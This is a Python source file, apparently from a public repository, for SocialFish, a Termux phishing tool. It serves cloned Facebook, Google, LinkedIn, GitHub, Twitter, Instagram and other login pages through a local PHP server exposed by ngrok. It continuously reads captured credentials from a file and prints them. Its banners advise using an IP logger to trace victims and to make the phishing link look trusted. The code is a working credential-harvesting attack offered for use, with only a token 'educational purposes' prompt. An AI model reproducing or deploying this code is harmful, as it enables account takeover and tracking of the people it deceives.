HiddenEye-Legacy/SocialFishTermux.py

219 lines
10 KiB
Python
Raw Normal View History

2018-03-31 15:42:23 +08:00
#!/usr/bin/python2.7
#-*- coding: utf-8 -*-
# SOCIALFISH v2.0
# by: An0nUD4Y
#
# TERMUX VERSION OF SOCIALFISH
###############################
2018-03-31 15:42:23 +08:00
from time import sleep
from sys import stdout, exit
from os import system, path
import multiprocessing
from urllib import urlopen
from platform import architecture
2018-03-31 15:42:23 +08:00
from wget import download
RED, WHITE, CYAN, GREEN, END = '\033[91m', '\33[46m', '\033[36m', '\033[1;32m', '\033[0m'
def connected(host='http://duckduckgo.com'):
try:
urlopen(host)
return True
except:
return False
if connected() == False:
print '''
....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _
/ \/| [__ | | | | |__| | |___ | [__ |__|
\o__ /\| ___] |__| |___ | | | |___ | | ___] | |
\|
{0}[{1}!{0}]{1} Network error. Verify your connection.\n
{0}[{1}!{0}]{1} By--------------> An0nUD4Y \n
2018-03-31 15:42:23 +08:00
'''.format(RED, END)
exit(0)
def checkNgrok():
2018-04-02 13:42:03 +08:00
if path.isfile('ServerTermux/ngrok') == False:
2018-03-31 15:42:23 +08:00
print '[*] Downloading Ngrok...'
if architecture()[0] == '64bit':
2018-04-02 12:51:07 +08:00
filename = 'ngrok-stable-linux-arm.zip'
2018-03-31 15:42:23 +08:00
else:
2018-04-02 12:51:07 +08:00
filename = 'ngrok-stable-linux-arm.zip'
2018-03-31 15:42:23 +08:00
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
download(url)
system('unzip ' + filename)
2018-04-02 13:42:03 +08:00
system('mv ngrok ServerTermux/ngrok')
2018-03-31 15:42:23 +08:00
system('rm -Rf ' + filename)
system('clear')
checkNgrok()
def end():
system('clear')
print '''
S O C I A L{2}
|\ \ \ \ \ \ \ \ __ ___
| \ \ \ \ \ \ \ \ | O~-_ _-~~ ~~-_
| >----|-|-|-|-|-|-|--| __/ / {1}DON'T{2} )
| / / / / / / / / |__\ < {1}FORGET{2} )
|/ / / / / / / / \_ {1}ME !{2} _)
{1}F I S H{2} ~--___--~
{0}This script was made by UndeadSec_ But I have added some more features in it ]
{1}[ {0} Some more phising pages have been added in script. For a better Attack]
2018-04-02 13:42:03 +08:00
[ {0} Work Done By------------------------> An0nUD4Y]\n'''.format(GREEN, END, CYAN)
2018-03-31 15:42:23 +08:00
def loadModule(module):
print '''{0}
_.-=-._ .-,
.' "-.,' /
( _. <
`=.____.=" `._\\
[{1}*{0}]{1} %s module loaded.{0}'''.format(CYAN, END) % module
2018-03-31 15:42:23 +08:00
def runPhishing(social, option2):
2018-04-02 13:42:03 +08:00
system('rm -Rf ServerTermux/www/*.* && touch ServerTermux/www/usernames.txt')
2018-03-31 15:42:23 +08:00
if option2 == '1' and social == 'Facebook':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/fb_standard/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
if option2 == '2' and social == 'Facebook':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/fb_advanced_poll/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
if option2 == '3' and social == 'Facebook':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/mobile_fb/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
if option2 == '4' and social == 'Facebook':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/fb_security_fake/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
if option2 == '5' and social == 'Facebook':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/fb_messenger/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif option2 == '1' and social == 'Google':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/google_standard/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif option2 == '2' and social == 'Google':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/google_advanced_poll/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif social == 'LinkedIn':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/linkedin/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif social == 'GitHub':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/GitHub/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif social == 'StackOverflow':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/stackoverflow/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif social == 'WordPress':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/wordpress/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif social == 'Twitter':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/twitter/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
elif option2 == '1' and social == 'Instagram':
2018-04-02 13:42:03 +08:00
system('cp WebPagesTermux/Instagram_web/*.* ServerTermux/www/')
2018-03-31 15:42:23 +08:00
def waitCreds():
print " {0}[{1}*{0}]{1} Hi Hacker Everything has been completed.............. Start HAcking ".format(RED, END)
print " {0}[{1}*{0}]{1} I HAVE A TIP FOR YOU".format(GREEN, END)
print '''{0}
_.-=-._ .-,
.' "-.,' /
( AnonUD4Y_ ~.<
`=.____.=" `._\\
[{1}*{0}]{1} Do you need more help to make your ngrok link more trusted.
[{1}*{0}]{1} Just visit to [https://iplogger.org]
[{1}*{0}]{1} This will help you to trace your victims by their ip address on real time.
[{1}*{0}]{1} And make your ngrok link more trusted type.{0}'''.format(CYAN, END)
print " {0}[{1}*{0}]{1} Waiting for credentials... \n".format(GREEN, END)
2018-03-31 15:42:23 +08:00
while True:
2018-04-02 13:42:03 +08:00
with open('ServerTermux/www/usernames.txt') as creds:
2018-03-31 15:42:23 +08:00
lines = creds.read().rstrip()
if len(lines) != 0:
2018-04-02 13:42:03 +08:00
print ' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
system('rm -rf ServerTermux/www/usernames.txt && touch ServerTermux/www/usernames.txt')
2018-03-31 15:42:23 +08:00
creds.close()
def runPEnv():
system('clear')
print ''' {2}-{1} An0nUD4Y {2}|{1} An0nUD4Y {2}|{1} An0nUD4Y {2}- INDIA
2018-03-31 15:42:23 +08:00
'
' '
' '
. ' . ' '
' ' ' ' '
. ' '....' ..'. ' .
' . . ' ' ' {1}v2.0{2}
' . . . . . '. .' ' .
' ' '. ' {1}Updated_By--> AnonUD4Y_{2}
' ' '
' ' {1}https://github.com/An0nUD4Y{2}
2018-03-31 15:42:23 +08:00
' . '
'
{1}'''.format(GREEN, END, CYAN)
for i in range(101):
sleep(0.01)
stdout.write("\r{0}[{1}*{0}]{1} Preparing environment... %d%%".format(CYAN, END) % i)
stdout.flush()
print "\n\n{0}[{1}*{0}]{1} Searching for PHP installation... ".format(CYAN, END)
if 256 != system('which php'):
print " --{0}>{1} OK.".format(CYAN, END)
else:
print " --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again. http://www.php.net/".format(RED, END)
exit(0)
if raw_input(" {0}[{1}!{0}]{1} Do you agree to use this tool for educational purposes only? (y/n)\n {2}SF-An0nUD4Y > {1}".format(RED, END, CYAN)).upper() != 'Y':
system('clear')
print '\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU NEED A GOOD MIND AND SOUL TO BE ONE OF US. GET AWAY FROM HERE AND DO NOT COME BACK WITH SAME MOTIVE. GOOD BYE!{1} ]\n'.format(RED, END)
exit(0)
option = raw_input("\nSelect an option:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED With An0nUD4Y !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
if option == '1':
loadModule('Facebook')
option2 = raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Mobile Version(mobile_mode)\n\n {0}[{1}4{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}5{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
runPhishing('Facebook', option2)
elif option == '2':
loadModule('Google')
option2 = raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
runPhishing('Google', option2)
elif option == '3':
loadModule('LinkedIn')
option2 = ''
runPhishing('LinkedIn', option2)
elif option == '4':
loadModule('GitHub')
option2 = ''
runPhishing('GitHub', option2)
elif option == '5':
loadModule('StackOverflow')
option2 = ''
runPhishing('StackOverflow', option2)
elif option == '6':
loadModule('WordPress')
option2 = ''
runPhishing('WordPress', option2)
elif option == '7':
loadModule('Twitter')
option2 = ''
runPhishing('Twitter', option2)
elif option == '8':
loadModule('Instagram')
option2 =raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}------------->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
runPhishing('Instagram', option2)
else:
exit(0)
2018-03-31 15:42:23 +08:00
def runNgrok():
2018-04-02 13:42:03 +08:00
system('./ServerTermux/ngrok http 8080 > /dev/null &')
2018-03-31 15:42:23 +08:00
sleep(10)
2018-04-02 13:42:03 +08:00
system('curl -s http://127.0.0.1:4040/status | grep -P "https://.*?ngrok.io" -oh > ngrokTermux.url')
url = open('ngrokTermux.url', 'r')
2018-04-02 12:51:07 +08:00
print('\n {0}[{1}*{0}]{1} Ngrok URL: {2}' + url.readlines()[0] + '{1}').format(CYAN, END, GREEN)
2018-03-31 15:42:23 +08:00
url.close()
2018-04-02 13:42:03 +08:00
def runServerTermux():
system("cd ServerTermux/www/ && php -S 127.0.0.1:8080")
2018-03-31 15:42:23 +08:00
if __name__ == "__main__":
try:
runPEnv()
runNgrok()
2018-04-02 13:42:03 +08:00
multiprocessing.Process(target=runServerTermux).start()
2018-03-31 15:42:23 +08:00
waitCreds()
except KeyboardInterrupt:
system('pkill -f ngrok')
end()
exit(0)